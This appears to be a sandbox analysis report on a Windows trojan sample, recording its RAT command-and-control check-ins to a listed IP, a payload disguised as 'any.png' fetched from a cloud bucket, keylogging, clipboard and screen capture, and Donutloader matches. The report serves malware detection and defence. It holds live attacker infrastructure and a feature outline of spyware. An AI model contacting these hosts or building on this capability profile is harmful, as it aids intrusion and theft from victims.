Source:	Binary string: C:\Users\rgweq\Desktop\@7\ssp\x64\Release\ssp.pdb source: 2IVWAPeiZm.exe, 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: .pdb7 source: 2IVWAPeiZm.exe
Source:	Binary string: F:\SDKUPDATE\online_win\targets\win32\msc_lua\Release\msc.pdb source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: e:	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	File opened: [:	Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96098C0 GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,lstrcpyW,lstrcpyW,lstrcatW,

0_2_000001CFB96098C0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052875 ET TROJAN Anonymous RAT CnC Checkin 192.168.2.4:49731 -> 206.238.115.146:6666
Source: Traffic	Snort IDS: 2052875 ET TROJAN Anonymous RAT CnC Checkin 192.168.2.4:49732 -> 206.238.115.146:6666
Source: Traffic	Snort IDS: 2052875 ET TROJAN Anonymous RAT CnC Checkin 192.168.2.4:49741 -> 206.238.115.146:6666
Source: Traffic	Snort IDS: 2052875 ET TROJAN Anonymous RAT CnC Checkin 192.168.2.4:49744 -> 206.238.115.146:8888

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 206.238.115.146:6666

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146
Source: unknown	TCP traffic detected without corresponding DNS query: 206.238.115.146

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9603680 select,recv,_errno,_errno,_errno,

0_2_000001CFB9603680

Source: global traffic

HTTP traffic detected: GET /any.png HTTP/1.1User-Agent: WinINetDownloaderHost: pattern-1326658104.cos.ap-guangzhou.myqcloud.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: pattern-1326658104.cos.ap-guangzhou.myqcloud.com

Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.wofficebox.com/
Source: 2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB747C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/
Source: 2IVWAPeiZm.exe, 2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB74CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.png
Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.pngvector
Source: 2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB747C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/eX
Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 159.75.57.35:443 -> 192.168.2.4:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: [esc]

0_2_000001CFB96111E0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB96111E0 Sleep,GetTickCount,GetTickCount,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,GlobalUnlock,CloseClipboard,GetKeyState,lstrlenW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,

0_2_000001CFB96111E0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

0_2_000001CFB96111E0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB960DD20 GetDesktopWindow,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,GetDIBits,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

0_2_000001CFB960DD20

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9610DD0 SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

0_2_000001CFB9610DD0

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.4111676483.000001CFB9200000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: C:\Users\Public\Pictures\any.png, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9313495 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_000001CFB9313495

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960D1D7 ExitProcess,ExitWindowsEx,	0_2_000001CFB960D1D7
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960D228 ExitWindowsEx,	0_2_000001CFB960D228
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960D207 ExitWindowsEx,	0_2_000001CFB960D207

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96188E0	0_2_000001CFB96188E0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9603380	0_2_000001CFB9603380
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9607510	0_2_000001CFB9607510
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960DD20	0_2_000001CFB960DD20
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9608440	0_2_000001CFB9608440
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96067B0	0_2_000001CFB96067B0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96107A0	0_2_000001CFB96107A0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9605950	0_2_000001CFB9605950
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96249A4	0_2_000001CFB96249A4
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9602850	0_2_000001CFB9602850
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9622864	0_2_000001CFB9622864
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960E8D0	0_2_000001CFB960E8D0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96150CC	0_2_000001CFB96150CC
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB961987C	0_2_000001CFB961987C
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB961934C	0_2_000001CFB961934C
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960A310	0_2_000001CFB960A310
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960B300	0_2_000001CFB960B300
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9603BD0	0_2_000001CFB9603BD0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96093C0	0_2_000001CFB96093C0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9612ABC	0_2_000001CFB9612ABC
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9618D60	0_2_000001CFB9618D60
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB962154C	0_2_000001CFB962154C
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9610DD0	0_2_000001CFB9610DD0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96095B0	0_2_000001CFB96095B0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9621DB0	0_2_000001CFB9621DB0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9615C80	0_2_000001CFB9615C80
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB961FC80	0_2_000001CFB961FC80
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB961B734	0_2_000001CFB961B734
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB96146F0	0_2_000001CFB96146F0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB960E660	0_2_000001CFB960E660
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9617E34	0_2_000001CFB9617E34
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9608E20	0_2_000001CFB9608E20
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_00007FF6F6081300	0_2_00007FF6F6081300
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9313495	0_2_000001CFB9313495
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9312C89	0_2_000001CFB9312C89
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9311DAD	0_2_000001CFB9311DAD
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9313065	0_2_000001CFB9313065
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9313F49	0_2_000001CFB9313F49
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9396860	0_2_000001CFB9396860
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9393390	0_2_000001CFB9393390
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB93973D0	0_2_000001CFB93973D0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB939E1C0	0_2_000001CFB939E1C0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB93A6C50	0_2_000001CFB93A6C50
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB93A4898	0_2_000001CFB93A4898
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9392880	0_2_000001CFB9392880
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB939A30C	0_2_000001CFB939A30C
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9396F70	0_2_000001CFB9396F70
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95BE131	0_2_000001CFB95BE131
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B88F1	0_2_000001CFB95B88F1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C41C1	0_2_000001CFB95C41C1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95BADD1	0_2_000001CFB95BADD1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C258D	0_2_000001CFB95C258D
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C8831	0_2_000001CFB95C8831
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95BD7F1	0_2_000001CFB95BD7F1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B5421	0_2_000001CFB95B5421
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B9081	0_2_000001CFB95B9081
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C08A1	0_2_000001CFB95C08A1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B2321	0_2_000001CFB95B2321
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C83B1	0_2_000001CFB95C83B1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B6FE1	0_2_000001CFB95B6FE1
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B2E51	0_2_000001CFB95B2E51
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95CB205	0_2_000001CFB95CB205
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C8E1D	0_2_000001CFB95C8E1D
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B6281	0_2_000001CFB95B6281
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95C0271	0_2_000001CFB95C0271
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB95B36A1	0_2_000001CFB95B36A1

Source: 2IVWAPeiZm.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 2IVWAPeiZm.exe, 00000000.00000000.1655005973.00007FF6F7C50000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamessp.exe< vs 2IVWAPeiZm.exe
Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 2IVWAPeiZm.exe
Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemsc.dll vs 2IVWAPeiZm.exe
Source: 2IVWAPeiZm.exe	Binary or memory string: OriginalFilenamessp.exe< vs 2IVWAPeiZm.exe

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.4111676483.000001CFB9200000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: C:\Users\Public\Pictures\any.png, type: DROPPED	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: 2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ...Slnt

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/2@1/2

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9608BE0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,OpenProcess,	0_2_000001CFB9608BE0
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9609240 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	0_2_000001CFB9609240
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Code function: 0_2_000001CFB9608D60 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	0_2_000001CFB9608D60

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9608180 GetDriveTypeW,GetDiskFreeSpaceExW,GlobalMemoryStatusEx,

0_2_000001CFB9608180

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9607420 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

0_2_000001CFB9607420

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Code function: 0_2_000001CFB9607A90 CoInitialize,CoCreateInstance,SysFreeString,CoUninitialize,

0_2_000001CFB9607A90

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png

Jump to behavior

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Mutant created: \Sessions\1\BaseNamedObjects\2024. 6.19

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2IVWAPeiZm.exe	ReversingLabs: Detection: 57%
Source: 2IVWAPeiZm.exe	Virustotal: Detection: 59%

Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2IVWAPeiZm.exe	Section loaded: mscoree.dll	Jump to behavior
